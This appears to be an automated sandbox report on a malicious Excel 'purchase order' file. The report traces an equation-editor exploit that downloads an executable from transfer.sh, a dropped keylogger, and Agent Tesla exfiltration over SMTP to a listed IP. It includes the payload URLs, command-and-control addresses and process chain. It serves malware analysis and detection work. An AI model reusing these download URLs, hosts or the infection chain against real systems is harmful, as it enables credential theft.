Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 144.76.136.153:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 64.185.227.155:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 144.76.136.153:80

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.22:49176 -> 5.249.163.12:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.22:49176 -> 5.249.163.12:587
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.22:49177 -> 5.249.163.12:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.22:49177 -> 5.249.163.12:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.22:49176 -> 5.249.163.12:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.22:49177 -> 5.249.163.12:587
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.22:49178 -> 5.249.163.12:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.22:49178 -> 5.249.163.12:587
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.22:49179 -> 5.249.163.12:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.22:49179 -> 5.249.163.12:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.22:49178 -> 5.249.163.12:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.22:49179 -> 5.249.163.12:587

May check the online IP address of the machine

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	DNS query: name: api.ipify.org
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	DNS query: name: api.ipify.org
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	DNS query: name: api.ipify.org
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	DNS query: name: api.ipify.org
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	DNS query: name: api.ipify.org
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	DNS query: name: api.ipify.org

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: Joe Sandbox View	IP Address: 144.76.136.153 144.76.136.153
Source: Joe Sandbox View	IP Address: 144.76.136.153 144.76.136.153

Source: global traffic	HTTP traffic detected: GET /get/I9BcJI/maxdyn2.1.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Connection: Keep-AliveHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /get/I9BcJI/maxdyn2.1.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: transfer.shConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587

Source: global traffic

TCP traffic: 192.168.2.22:49176 -> 5.249.163.12:587

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443

Source: EQNEDT32.EXE, 00000002.00000002.977467875.000000000028F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, 00000002.00000002.977467875.000000000028F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: word.exe, 00000005.00000000.974627109.000000000040A000.00000008.00000001.01000000.00000004.sdmp, word.exe, 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmp, word.exe.2.dr, maxdyn2.1[1].exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: EQNEDT32.EXE, 00000002.00000002.977467875.00000000002DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://transfer.sh/get/I9BcJ
Source: EQNEDT32.EXE, 00000002.00000002.977467875.000000000028F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://transfer.sh/get/I9BcJI/maxdyn2.1.exemWDt
Source: EQNEDT32.EXE, 00000002.00000002.977467875.000000000028F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://transfer.sh/get/I9BcJI/maxdyn2.1.exeyWDt
Source: EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: EQNEDT32.EXE, 00000002.00000002.977467875.0000000000311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: EQNEDT32.EXE, 00000002.00000002.977467875.00000000002DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://transfer.sh/9
Source: EQNEDT32.EXE, 00000002.00000002.978709046.0000000008E90000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.977467875.00000000002DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://transfer.sh/get/I9BcJI/maxdyn2.1.exe
Source: EQNEDT32.EXE, 00000002.00000002.977467875.00000000002DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://transfer.sh/xe

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\maxdyn2.1[1].htm

Jump to behavior

Source: unknown

DNS traffic detected: queries for: transfer.sh

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_03674CE0 URLDownloadToFileW,

2_2_03674CE0

Source: global traffic	HTTP traffic detected: GET /get/I9BcJI/maxdyn2.1.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Connection: Keep-AliveHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /get/I9BcJI/maxdyn2.1.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: transfer.shConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.22:49174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 64.185.227.155:443 -> 192.168.2.22:49175 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Local\Temp\lyebkz.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\word.exe

Code function: 5_2_00405809 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

5_2_00405809

System Summary

Malicious sample detected (through community Yara rule)

Source: sheet1.xml, type: SAMPLE

Matched rule: detects AutoLoad documents using LegacyDrawing Author: ditekSHen

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\word.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\maxdyn2.1[1].exe			Jump to dropped file

Source: sheet1.xml, type: SAMPLE

Matched rule: INDICATOR_XML_LegacyDrawing_AutoLoad_Document author = ditekSHen, description = detects AutoLoad documents using LegacyDrawing

Source: C:\Users\user\AppData\Roaming\word.exe

Code function: 5_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

5_2_00403640

Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_00406D5F	5_2_00406D5F
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: 6_2_0040E0AD	6_2_0040E0AD
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: 6_2_0041095A	6_2_0041095A
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: 6_2_00411203	6_2_00411203
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: 6_2_00411A2F	6_2_00411A2F
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: 6_2_0041160F	6_2_0041160F
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: 6_2_00410E2F	6_2_00410E2F
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: 6_2_00409FAF	6_2_00409FAF
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: 6_2_002408B7	6_2_002408B7
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: 6_2_00240A3B	6_2_00240A3B

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: String function: 004058F2 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Code function: String function: 00402914 appears 55 times

Source: C21.tmp.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior

Source: PURCHASE ORDER & SAMPLE IMAGE.xlsx	ReversingLabs: Detection: 56%
Source: PURCHASE ORDER & SAMPLE IMAGE.xlsx	Virustotal: Detection: 59%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\word.exe C:\Users\user\AppData\Roaming\word.exe
Source: C:\Users\user\AppData\Roaming\word.exe	Process created: C:\Users\user\AppData\Local\Temp\lyebkz.exe "C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process created: C:\Users\user\AppData\Local\Temp\lyebkz.exe C:\Users\user\AppData\Local\Temp\lyebkz.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\word.exe C:\Users\user\AppData\Roaming\word.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process created: C:\Users\user\AppData\Local\Temp\lyebkz.exe "C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process created: C:\Users\user\AppData\Local\Temp\lyebkz.exe C:\Users\user\AppData\Local\Temp\lyebkz.exe	Jump to behavior

Source: C:\Users\user\AppData\Roaming\word.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Roaming\word.exe

5_2_00403640

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
